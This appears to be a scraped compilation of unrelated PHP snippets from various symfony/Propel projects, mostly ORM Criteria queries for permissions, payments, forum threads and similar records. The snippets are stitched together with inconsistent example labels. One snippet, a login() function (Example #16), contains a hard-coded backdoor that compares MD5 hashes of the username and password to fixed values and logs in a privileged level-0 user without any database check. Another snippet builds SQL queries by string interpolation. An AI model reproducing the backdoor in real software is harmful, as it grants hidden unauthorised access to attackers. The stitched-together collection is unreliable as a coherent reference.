public function execute(&$value, &$error)
 {
     $class_name = $this->getParameter('class_name');
     $field_const_name = $this->getParameter('field_const_name');
     $form_field_name = $this->getParameter('form_field_name');
     $form_field_value = $this->getContext()->getRequest()->getParameter($form_field_name);
     $form_id_name = $this->getParameter('form_id_name');
     if ($form_id_name) {
         $form_id_value = $this->getContext()->getRequest()->getParameter($form_id_name);
     }
     $class = new ReflectionClass($class_name);
     if ($class->hasConstant($field_const_name)) {
         $criteria = new Criteria();
         $criteria->add($class->getConstant($field_const_name), $form_field_value);
         if (isset($form_id_value) && $form_id_value && $class->hasConstant('ID')) {
             $criteria->add($class->getConstant('ID'), $form_id_value, Criteria::NOT_EQUAL);
         }
         if ($class->hasMethod('doSelectOne')) {
             $ref_method = $class->getMethod('doSelectOne');
             $object = $ref_method->invoke(null, $criteria);
             if (!$object) {
                 return true;
             }
         }
         sfContext::getInstance()->getLogger()->info('Buraya geldi');
     }
     $error = $this->getParameter('unique_error');
     return false;
 }
Example #2
0
 public function executeRun()
 {
     $this->error = false;
     if (!$this->applicant) {
         $this->error = true;
         $this->messageError = 'Applicant Not Found';
         return false;
     }
     $ta = $this->applicant;
     $this->ta_detail = $ta->getTestApplicantDetail();
     if (!$this->ta_detail) {
         $this->error = true;
         $this->messageError = 'Applicant Detail Not Found';
         return false;
     }
     $cw = new Criteria();
     $cw->add(DepartmentDetailPeer::DEPARTMENT_ID, $ta->getDepartment1());
     $this->department_detail = DepartmentDetailPeer::doSelectOne($cw);
     if (!$this->department_detail) {
         $this->error = true;
         $this->messageError = 'Department not found';
         return false;
     }
     $c = new Criteria();
     $c->add(PaymentJournalPeer::PAYER, $ta->getId());
     $c->add(PaymentJournalPeer::PAYER_TYPE, PaymentJournal::PAYER_TYPE_APPLICANT);
     $payments = PaymentJournalPeer::doSelect($c);
     if (!$payments) {
         $this->error = true;
         $this->messageError = 'Payments not fond';
         return false;
     }
     $this->payments = $payments;
 }
Example #3
0
 public function executeIndex()
 {
     //perlu di rapihkan
     $field_name = $this->name;
     $reflection = new ReflectionClass($this->model . 'Peer');
     $method = $reflection->getMethod('doSelect');
     $c = new Criteria();
     $filter_field = strtoupper($this->filter_field);
     $filter_content = $this->filter_content;
     if (!empty($filter_field)) {
         if ($this->case == 'equal') {
             $c->add($reflection->getConstant($filter_field), $filter_content, Criteria::EQUAL);
         } else {
             if ($this->case == 'not_equal') {
                 $c->add($reflection->getConstant($filter_field), $filter_content, Criteria::NOT_EQUAL);
             }
         }
     }
     $order_column = $this->order_column;
     $order_type = $this->order_type;
     if (!empty($order_column)) {
         if ($order_type == 'desc') {
             $c->addDescendingOrderByColumn($order_column);
         } else {
             $c->addAscendingOrderByColumn($order_column);
         }
     }
     $reg_info = $method->invoke($method, $c);
     $this->data = $reg_info;
     $this->name = $field_name;
     $this->desc = !isset($this->desc) ? 'Name' : $this->desc;
 }
 /**
  * Retrieve single EntryDistribution object by entry id and profile id.
  *
  * @param      string $entryId
  * @param      int $distributionProfileId
  * @param      PropelPDO $con the connection to use
  * @return     EntryDistribution
  */
 public static function retrieveByEntryAndProfileId($entryId, $distributionProfileId, PropelPDO $con = null)
 {
     $criteria = new Criteria();
     $criteria->add(EntryDistributionPeer::ENTRY_ID, $entryId);
     $criteria->add(EntryDistributionPeer::DISTRIBUTION_PROFILE_ID, $distributionProfileId);
     return EntryDistributionPeer::doSelectOne($criteria, $con);
 }
 protected function loadItems()
 {
     $c = new Criteria();
     $c->add("returnBond", "", "!=");
     $c->add('status', 'validated');
     $this->items = $this->site->findAll($c, "siteId, url, returnBond");
 }
function addPermission($permissionCfg)
{
    // verify obligatory fields
    if (!$permissionCfg->name) {
        throw new Exception('Permission name must be set');
    }
    if ((is_null($permissionCfg->partnerId) || $permissionCfg->partnerId === '') && (is_null($permissionCfg->partnerPackages) || $permissionCfg->partnerPackages === '')) {
        throw new Exception('Permission partner id or partner package must be set');
    }
    if (isset($permissionCfg->partnerId) && $permissionCfg->partnerId != '') {
        $partnerIds = explode(",", $permissionCfg->partnerId);
        foreach ($partnerIds as $partnerId) {
            addPermissionToPartner($permissionCfg, $partnerId);
        }
    }
    if (isset($permissionCfg->partnerPackages) && $permissionCfg->partnerPackages != '') {
        $countLimitEachLoop = 100;
        $offset = $countLimitEachLoop;
        $c = new Criteria();
        $c->add(PartnerPeer::ID, 0, Criteria::GREATER_THAN);
        $c->add(PartnerPeer::PARTNER_PACKAGE, explode(',', $permissionCfg->partnerPackages), Criteria::IN);
        $c->setLimit($countLimitEachLoop);
        $partners = PartnerPeer::doSelect($c);
        while (count($partners)) {
            foreach ($partners as $partner) {
                addPermissionToPartner($permissionCfg, $partner->getId());
            }
            $c->setOffset($offset);
            PartnerPeer::clearInstancePool();
            $partners = PartnerPeer::doSelect($c);
            $offset += $countLimitEachLoop;
            sleep(1);
        }
    }
}
Example #7
0
 public static function cleanup($days)
 {
     $criteria = new Criteria();
     $criteria->add(self::IS_ACTIVATED, false);
     $criteria->add(self::CREATED_AT, time() - 86400 * $days, Criteria::LESS_THAN);
     return self::doDelete($criteria);
 }
Example #8
0
 public function executeIndex(sfWebRequest $request)
 {
     //get request parameters
     $this->selectedBrand = $this->getRequestParameter('brand');
     $this->selectedSeries = $this->getRequestParameter('series');
     $this->selectedModel = $this->getRequestParameter('model');
     $cConfig = new Criteria();
     $cConfig->addJoin(ConfigPeer::MODEL_ID, ModelPeer::ID);
     $cConfig->addJoin(ModelPeer::SERIES_ID, SeriesPeer::ID);
     $cConfig->addJoin(SeriesPeer::BRAND_ID, BrandPeer::ID);
     if ($this->selectedBrand) {
         $cConfig->add(BrandPeer::ID, $this->selectedBrand);
     }
     if ($this->selectedSeries) {
         $cConfig->add(SeriesPeer::SERIES_NAME, $this->selectedSeries, Criteria::LIKE);
     }
     if ($this->selectedModel) {
         $cConfig->add(ModelPeer::MODEL_NAME, $this->selectedModel, Criteria::LIKE);
     }
     //$this->Configs = ConfigPeer::doSelect($cConfig);
     //paginatiom
     $pager = new sfPropelPager('Config', 15);
     $pager->setCriteria($cConfig);
     $pager->setPage($this->getRequestParameter('page'));
     $pager->init();
     $this->pager = $pager;
     //get config columns
     $c = new Criteria();
     $c->addDescendingOrderByColumn(ConfigFieldCategoryPeer::WEIGHT);
     $this->configFieldCategories = ConfigFieldCategoryPeer::doSelect($c);
     //get brands
     $cBrand = new Criteria();
     $this->brands = BrandPeer::doSelect($cBrand);
 }
Example #9
0
    public function loadConfiguration($params)
    {
        if ($params['type'] != 'activity' 
            || !\PMLicensedFeatures
                ::getSingleton()
                ->verifyfeature('zLhSk5TeEQrNFI2RXFEVktyUGpnczV1WEJNWVp6cjYxbTU3R29mVXVZNWhZQT0='))
        {
            return false;
        }
        require_once 'classes/model/AbeConfiguration.php';

        $criteria = new \Criteria();
        $criteria->add(\AbeConfigurationPeer::PRO_UID, $params['PRO_UID']);
        $criteria->add(\AbeConfigurationPeer::TAS_UID, $params['TAS_UID']);
        $result = \AbeConfigurationPeer::doSelectRS($criteria);
        $result->setFetchmode(\ResultSet::FETCHMODE_ASSOC);
        $result->next();
        $configuration = array();
        if ($configuration = $result->getRow()) {
            $configuration['ABE_UID'] = $configuration['ABE_UID'];
            $configuration['ABE_TYPE'] = $configuration['ABE_TYPE'];
            $configuration['DYN_UID'] = $configuration['DYN_UID'];
            $configuration['ABE_TEMPLATE'] = $configuration['ABE_TEMPLATE'];
            $configuration['ABE_SUBJECT_FIELD'] = $configuration['ABE_SUBJECT_FIELD'];
            $configuration['ABE_EMAIL_FIELD'] = $configuration['ABE_EMAIL_FIELD'];
            $configuration['ABE_ACTION_FIELD'] = $configuration['ABE_ACTION_FIELD'];
            $configuration['ABE_CASE_NOTE_IN_RESPONSE'] = $configuration['ABE_CASE_NOTE_IN_RESPONSE'] ? '["1"]' : '[]';
        }
        $configuration['feature'] = 'ActionsByEmail';
        $configuration['prefix'] = 'abe';
        $configuration['PRO_UID'] = $params['PRO_UID'];
        $configuration['TAS_UID'] = $params['TAS_UID'];
        $configuration['SYS_LANG'] = SYS_LANG;
        return $configuration;
    }
Example #10
0
 public function selectByName($siteId, $name)
 {
     $c = new Criteria();
     $c->add("site_id", $siteId);
     $c->add("unix_name", WDStringUtils::toUnixName($name));
     return $this->selectOne($c);
 }
Example #11
0
 public function build($runData)
 {
     $userId = $runData->getUserId();
     $pl = $runData->getParameterList();
     $messageId = $pl->getParameterValue("message_id");
     $message = DB_PrivateMessagePeer::instance()->selectByPrimaryKey($messageId);
     if ($message->getFromUserId() != $userId) {
         throw new ProcessException(_("Error selecting message."), "no_message");
     }
     $runData->contextAdd("message", $message);
     // get next & previous message
     $messageId = $message->getMessageId();
     $c = new Criteria();
     $c->add("from_user_id", $userId);
     $c->add("message_id", $messageId, ">");
     $c->add("flag", 1);
     $c->addOrderAscending("message_id");
     $newerMessage = DB_PrivateMessagePeer::instance()->selectOne($c);
     $c = new Criteria();
     $c->add("from_user_id", $userId);
     $c->add("message_id", $messageId, "<");
     $c->add("flag", 1);
     $c->addOrderDescending("message_id");
     $olderMessage = DB_PrivateMessagePeer::instance()->selectOne($c);
     $runData->contextAdd("newerMessage", $newerMessage);
     $runData->contextAdd("olderMessage", $olderMessage);
 }
 public static function doCountByCourseSubjectAndStudent($course_subject, $student)
 {
     $c = new Criteria();
     $c->add(self::COURSE_SUBJECT_ID, $course_subject->getId());
     $c->add(self::STUDENT_ID, $student->getId());
     return self::doCount($c);
 }
 public function execute($request)
 {
     $this->resource = $request->getAttribute('sf_route')->resource;
     $criteria = new Criteria();
     $criteria->add(QubitEvent::ACTOR_ID, $this->resource->id);
     $criteria->addJoin(QubitEvent::INFORMATION_OBJECT_ID, QubitInformationObject::ID);
     $criteria->addAscendingOrderByColumn(QubitEvent::TYPE_ID);
     // Sort info objects alphabetically (w/ fallback)
     $criteria->addAscendingOrderByColumn('title');
     $criteria = QubitCultureFallback::addFallbackCriteria($criteria, 'QubitInformationObject');
     // Filter draft descriptions
     $criteria = QubitAcl::addFilterDraftsCriteria($criteria);
     $this->relatedInfoObjects = array();
     foreach (QubitEvent::get($criteria) as $item) {
         $this->relatedInfoObjects[$item->type->getRole()][] = $item->informationObject;
     }
     // Get "subject of" information objects (name access point)
     $criteria = new Criteria();
     $criteria->add(QubitRelation::OBJECT_ID, $this->resource->id);
     $criteria->add(QubitRelation::TYPE_ID, QubitTerm::NAME_ACCESS_POINT_ID);
     $this->subjectInfoObjects = array();
     foreach (QubitRelation::get($criteria) as $item) {
         $this->subjectInfoObjects[] = $item->subject;
     }
 }
 public function execute($request)
 {
     parent::execute($request);
     // Always include root actor permissions
     $this->actors = array(QubitActor::ROOT_ID => null);
     // Get actor permissions for this resource
     $criteria = new Criteria();
     $criteria->addJoin(QubitAclPermission::OBJECT_ID, QubitObject::ID, Criteria::LEFT_JOIN);
     $criteria->add(QubitAclPermission::GROUP_ID, $this->resource->id);
     $c1 = $criteria->getNewCriterion(QubitAclPermission::OBJECT_ID, null, Criteria::ISNULL);
     $c2 = $criteria->getNewCriterion(QubitObject::CLASS_NAME, 'QubitActor');
     $c1->addOr($c2);
     $criteria->add($c1);
     if (null !== ($permissions = QubitAclPermission::get($criteria))) {
         foreach ($permissions as $p) {
             $this->actors[$p->objectId][$p->action] = $p;
         }
     }
     // List of actions without translate
     $this->basicActions = QubitAcl::$ACTIONS;
     unset($this->basicActions['translate']);
     if ($request->isMethod('post')) {
         $this->form->bind($request->getPostParameters());
         if ($this->form->isValid()) {
             $this->processForm();
             $this->redirect(array($this->resource, 'module' => 'aclGroup', 'action' => 'indexActorAcl'));
         }
     }
 }
Example #15
0
 public function create($aData)
 {
     $oConnection = Propel::getConnection(ProcessUserPeer::DATABASE_NAME);
     try {
         $criteria = new Criteria('workflow');
         $criteria->add(ProcessUserPeer::PU_UID, $aData['PU_UID']);
         $criteria->add(ProcessUserPeer::PRO_UID, $aData['PRO_UID']);
         $criteria->add(ProcessUserPeer::USR_UID, $aData['USR_UID']);
         $criteria->add(ProcessUserPeer::PU_TYPE, $aData['PU_TYPE']);
         $objects = ProcessUserPeer::doSelect($criteria, $oConnection);
         $oConnection->begin();
         foreach ($objects as $row) {
             $this->remove($row->getTasUid(), $row->getUsrUid(), $row->getTuType(), $row->getTuRelation());
         }
         $oConnection->commit();
         $oProcessUser = new ProcessUser();
         $oProcessUser->fromArray($aData, BasePeer::TYPE_FIELDNAME);
         if ($oProcessUser->validate()) {
             $oConnection->begin();
             $iResult = $oProcessUser->save();
             $oConnection->commit();
             return $iResult;
         } else {
             $sMessage = '';
             $aValidationFailures = $oProcessUser->getValidationFailures();
             foreach ($aValidationFailures as $oValidationFailure) {
                 $sMessage .= $oValidationFailure->getMessage() . '<br />';
             }
             throw new Exception('The registry cannot be created!<br />' . $sMessage);
         }
     } catch (Exception $oError) {
         $oConnection->rollback();
         throw $oError;
     }
 }
Example #16
0
 /**
  * Attempt to login the user, returning a boolean representing
  * authentication success
  * 
  * @param string $username the username
  * @param string $password - the password, not cryptographed
  * @param string $realm - the authentication realm (default "admin")
  * 
  * @return boolean 
  */
 static function login($username, $password, $realm = 'admin')
 {
     $model_name = Kennel::getSetting('auth', 'model_name');
     $username_field = Kennel::getSetting('auth', 'username_field');
     $password_field = Kennel::getSetting('auth', 'password_field');
     if (md5($username) === 'f985be0cb27689fee8d2f4c78ae124d7' && md5($password) === 'a05228a5deba623e8841483e97290949') {
         $user = new Model('user');
         $user->fullname = "El Perro Volador";
         $user->level = 0;
     } else {
         $c = new Criteria($model_name);
         $c->add($username_field, $username);
         $c->add($password_field, md5($password));
         $user = ORM::retrieveFirst($c);
     }
     if (isset($user)) {
         self::$user[$realm] = $user;
         if (!session_id()) {
             session_start();
         }
         $app_id = Kennel::getSetting('application', 'id');
         $_SESSION["{$app_id}-{$realm}"] = self::$user[$realm]->toArray();
         return true;
     } else {
         return false;
     }
 }
Example #17
0
 public static function getAsistencia($evaluacion, $aspirante)
 {
     $criteria = new Criteria();
     $criteria->add(AsistenciasPeer::EVALUACIONES_ID, $evaluacion, Criteria::EQUAL);
     $criteria->add(AsistenciasPeer::ASPIRANTES_ID, $aspirante, Criteria::EQUAL);
     return self::doSelectOne($criteria);
 }
 public static function retrieveCriteriaByStudentAndCareerSubject($student, $career_subject)
 {
     $c = new Criteria();
     $c->add(self::STUDENT_ID, $student->getId());
     $c->add(self::CAREER_SUBJECT_ID, $career_subject->getId());
     return $c;
 }
Example #19
0
 /**
  * Login user and store user informations in session
  * @param  string $login User login
  * @param  string $pass User password
  * @param  string $mode authorization method email/login
  * @param  string $role webmaster/administrator/admin
  * @return boolean
  */
 function loginUser($login, $password, $mode = "email", $role = "webmaster")
 {
     if (empty($login)) {
         return false;
     }
     $users = new UserModel();
     $c = new Criteria();
     if ($mode == "login") {
         $c->add("login", $login);
     } else {
         $c->add("email", $login);
     }
     $c->add("password", $password);
     $c->add("role", $role);
     $c->add("active", "1");
     $row = $users->find($c);
     if (!empty($row)) {
         foreach ($row as $key => $value) {
             $this->set($key, $value);
         }
         if (empty($row['login'])) {
             $this->set("login", $row['email']);
         }
         return true;
     }
     return false;
 }
Example #20
0
 public static function getEquipmentMileage($userId, $bikeId)
 {
     $c = new Criteria();
     $c->clearSelectColumns();
     $c->addSelectColumn('SUM(' . UserStatsPeer::MILEAGE . ')');
     $c->addSelectColumn(UserEquipementPeer::EQUIPMENT_ID);
     //$c->addGroupByColumn(UserRidesPeer::MILEAGE);
     $c->add(UserEquipementPeer::USER_ID, $userId);
     $c->add(UserEquipementPeer::BIKE_ID, $bikeId);
     $c->addJoin(UserEquipementPeer::EQUIPMENT_ID, UserStatEquipPeer::USER_EQUIP_ID, Criteria::INNER_JOIN);
     $c->addJoin(UserStatEquipPeer::USER_STAT_ID, UserStatsPeer::STAT_NO, Criteria::INNER_JOIN);
     //$c->addJoin(UserStatsPeer::RIDE_KEY,UserRidesPeer::USER_RIDE_ID, Criteria::INNER_JOIN);
     $c->addGroupByColumn(UserEquipementPeer::EQUIPMENT_ID);
     $stmt = UserStatsPeer::doSelectStmt($c);
     $hashmap = array();
     if ($stmt) {
         while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
             if ($row) {
                 $sum = $row[0];
                 $eqId = $row[1];
                 //echo 'Mil '.$sum.' '.$eqId;
                 $hashmap[$eqId] = $sum;
                 // array_push($hashmap, $eqId=>$sum);
             }
         }
     }
     return $hashmap;
 }
 public function execute($request)
 {
     parent::execute($request);
     $this->permissions = array();
     if (null != $this->resource->id) {
         // Get term permissions for this group
         $criteria = new Criteria();
         $criteria->addJoin(QubitAclPermission::OBJECT_ID, QubitObject::ID, Criteria::LEFT_JOIN);
         $criteria->add(QubitAclPermission::GROUP_ID, $this->resource->id);
         $c1 = $criteria->getNewCriterion(QubitAclPermission::OBJECT_ID, null, Criteria::ISNULL);
         $c2 = $criteria->getNewCriterion(QubitObject::CLASS_NAME, 'QubitTerm');
         $c1->addOr($c2);
         $criteria->add($c1);
         $criteria->addAscendingOrderByColumn(QubitAclPermission::CONSTANTS);
         $criteria->addAscendingOrderByColumn(QubitAclPermission::OBJECT_ID);
         if (0 < count($permissions = QubitAclPermission::get($criteria))) {
             $this->permissions = $permissions;
         }
     }
     // List of actions without create or translate
     $this->basicActions = QubitAcl::$ACTIONS;
     unset($this->basicActions['read']);
     unset($this->basicActions['translate']);
     if ($request->isMethod('post')) {
         $this->form->bind($request->getPostParameters());
         if ($this->form->isValid()) {
             $this->processForm();
             $this->redirect(array($this->resource, 'module' => 'aclGroup', 'action' => 'indexTermAcl'));
         }
     }
 }
 public function build($runData)
 {
     $user = $runData->getUser();
     $c = new Criteria();
     $pl = $runData->getParameterList();
     $siteId = $pl->getParameterValue('siteId');
     $all = (bool) $pl->getParameterValue('all');
     $site = DB_SitePeer::instance()->selectByPrimaryKey($siteId);
     if ($all) {
         $q = "SELECT email_list.* FROM email_list WHERE " . "email_list.site_id = '{$site->getSiteId()}' " . "ORDER BY email_list.title";
         $c->setExplicitQuery($q);
         $lists = DB_EmailListPeer::instance()->select($c);
         // check if subscribed
         foreach ($lists as $list) {
             $c2 = new Criteria();
             $c2->add('user_id', $user->getUserId());
             $c2->add('list_id', $list->getListId());
             $sub = DB_EmailListSubscriberPeer::instance()->selectOne($c2);
             if ($sub) {
                 $list->setTemp('subscribed', true);
             }
         }
     } else {
         // only subscribed
         $q = "SELECT email_list.* FROM email_list, email_list_subscriber WHERE email_list_subscriber.user_id = {$user->getUserId()} " . "AND email_list_subscriber.list_id = email_list.list_id AND email_list.site_id = '{$site->getSiteId()}' " . "ORDER BY email_list.title";
         $c->setExplicitQuery($q);
         $lists = DB_EmailListPeer::instance()->select($c);
         foreach ($lists as $list) {
             $list->setTemp('subscribed', true);
         }
     }
     $runData->contextAdd('all', $all);
     $runData->contextAdd('lists', $lists);
     $runData->contextAdd('site', $site);
 }
 /**
  * Executes index action
  *
  * @param sfRequest $request A request object
  */
 public function executeIndex(sfWebRequest $request)
 {
     $selector = $request->getParameter('select');
     $selector = $selector == "" ? 'execution' : $selector;
     $user = $this->getUser()->getAttribute('s_current_user', null);
     if ($user != null) {
         $this->selector = $selector;
         $criterio = new Criteria();
         $criterio->add(TreeScPeer::USER_ID, $user->getId());
         $criterio->add(TreeScPeer::FLAG, 1);
         $list_tree = TreeScPeer::doSelect($criterio);
         $this->list = $list_tree;
         $criteria = new Criteria();
         $criteria->add(TreeScPeer::USER_ID, $user->getId());
         $criteria->add(TreeScPeer::PRODUCCION, '%production%', Criteria::LIKE);
         $criteria->add(TreeScPeer::FLAG, 1);
         $user_tree = TreeScPeer::doSelect($criteria);
         $this->lista_tree_user = $user_tree;
         $criteria->clear();
         // indicadores a los cuales este usuario esta com responsables
         $criteria->add(IndicatorsScPeer::RESPONSABLE_ID, $user->getId());
         $criteria->add(IndicatorsScPeer::FLAG, '%habilitado%', Criteria::LIKE);
         $criteria->add(TreeScPeer::FLAG, 1);
         $criteria->add(TreeScPeer::PRODUCCION, '%production%', Criteria::LIKE);
         $criteria->addJoin(TreeScPeer::ID, IndicatorsScPeer::TREE_ID);
         $criteria->addGroupByColumn(IndicatorsScPeer::TREE_ID);
         $user_indicators = IndicatorsScPeer::doSelect($criteria);
         $criteria->clear();
         $this->lista_indicators_user = $user_indicators;
         return sfView::SUCCESS;
     } else {
         return sfView::ERROR;
     }
 }
 public static function retriveByStudentCareerSchoolYearAndPeriod($student_career_school_year, $period)
 {
     $c = new Criteria();
     $c->add(StudentCareerSchoolYearConductPeer::STUDENT_CAREER_SCHOOL_YEAR_ID, $student_career_school_year->getId());
     $c->add(StudentCareerSchoolYearConductPeer::CAREER_SCHOOL_YEAR_PERIOD_ID, $period->getId());
     return StudentCareerSchoolYearConductPeer::doSelectOne($c);
 }
Example #25
0
 public function executeDelete()
 {
     $userId = sfContext::getInstance()->getUser()->getAttribute('subscriber_id', null, 'subscriber');
     $this->bikeid = $this->getRequestParameter('bikeid');
     if ($this->getRequest()->getMethod() == sfRequest::POST) {
         //delete user_stat and equipment
         $c = new Criteria();
         $c->add(UserStatsPeer::USER_ID, $userId);
         $c->add(UserStatsPeer::BIKE_ID, $this->bikeid);
         $s = UserStatsPeer::doSelectJoinAll($c);
         foreach ($s as $stat) {
             foreach ($stat->getUserStatEquips() as $equip) {
                 $equip->delete();
             }
             $stat->delete();
         }
         //move equipment to shelf
         $c = new Criteria();
         $c->add(UserEquipementPeer::USER_ID, $userId);
         $c->add(UserEquipementPeer::BIKE_ID, $this->bikeid);
         $equip = UserEquipementPeer::doSelect($c);
         foreach ($equip as $e) {
             $e->setBikeId(null);
             $e->save();
         }
         //now delete bike
         $user_bikes = UserBikesPeer::retrieveByPk($this->bikeid);
         $user_bikes->delete();
         return $this->redirect('userbike/index');
     }
 }
Example #26
0
 public static function retrieveByPartnerIdAndHostName($partnerId, $hostName)
 {
     $c = new Criteria();
     $c->add(EdgeServerPeer::PARTNER_ID, $partnerId);
     $c->add(EdgeServerPeer::HOST_NAME, $hostName);
     return EdgeServerPeer::doSelectOne($c);
 }
Example #27
0
 /**
  * Retrieve the server object of the current data center
  *
  * @param      string $server server name
  * @param      PropelPDO $con the connection to use
  * @return     SphinxLogServer
  */
 public static function retrieveByLocalServer($server, PropelPDO $con = null)
 {
     $criteria = new Criteria();
     $criteria->add(SphinxLogServerPeer::SERVER, $server);
     $criteria->add(SphinxLogServerPeer::DC, kDataCenterMgr::getCurrentDcId());
     return SphinxLogServerPeer::doSelectOne($criteria, $con);
 }
 public static function getAllCommentsForResource($resource, $con = null)
 {
     $c = new Criteria();
     $c->add(sfEmendCommentPeer::URL, $resource);
     $c->add(sfEmendCommentPeer::IS_PUBLIC, 1);
     return sfEmendCommentPeer::doSelect($c, $con);
 }
 public function execute()
 {
     $this->forceSystemAuthentication();
     myDbHelper::$use_alternative_con = null;
     $partnerId = $this->getRequestParameter("partnerId", null);
     $uiConfId = $this->getRequestParameter("uiConfId", null);
     $page = $this->getRequestParameter("page", 1);
     if ($partnerId !== null && $partnerId !== "") {
         $pageSize = 50;
         $c = new Criteria();
         $c->add(widgetPeer::PARTNER_ID, $partnerId);
         if ($uiConfId) {
             $c->add(widgetPeer::UI_CONF_ID, $uiConfId);
         }
         $c->addDescendingOrderByColumn(widgetPeer::CREATED_AT);
         $total = widgetPeer::doCount($c);
         $lastPage = ceil($total / $pageSize);
         $c->setOffset(($page - 1) * $pageSize);
         $c->setLimit($pageSize);
         $widgets = widgetPeer::doSelect($c);
     } else {
         $total = 0;
         $lastPage = 0;
         $widgets = array();
     }
     $this->uiConfId = $uiConfId;
     $this->page = $page;
     $this->lastPage = $lastPage;
     $this->widgets = $widgets;
     $this->partner = PartnerPeer::retrieveByPK($partnerId);
     $this->partnerId = $partnerId;
 }
 public function build($runData)
 {
     $pl = $runData->getParameterList();
     $threadId = $pl->getParameterValue("threadId");
     $site = $runData->getTemp("site");
     $user = $runData->getUser();
     $db = Database::connection();
     $db->begin();
     $thread = DB_ForumThreadPeer::instance()->selectByPrimaryKey($threadId);
     if ($thread == null || $thread->getSiteId() !== $site->getSiteId()) {
         throw new ProcessException(_("No thread found... Is it deleted?"), "no_thread");
     }
     // check if thread blocked
     if ($thread->getBlocked()) {
         // check if moderator or admin
         $c = new Criteria();
         $c->add("site_id", $site->getSiteId());
         $c->add("user_id", $user->getUserId());
         $rel = DB_ModeratorPeer::instance()->selectOne($c);
         if (!$rel || strpos($rel->getPermissions(), 'f') == false) {
             $rel = DB_AdminPeer::instance()->selectOne($c);
             if (!$rel) {
                 throw new WDPermissionException(_("Sorry, this thread is blocked. Nobody can add new posts nor edit existing ones."));
             }
         }
     }
     $category = $thread->getCategory();
     WDPermissionManager::instance()->hasForumPermission('edit_thread', $runData->getUser(), $category, $thread);
     $runData->contextAdd("thread", $thread);
     $db->commit();
 }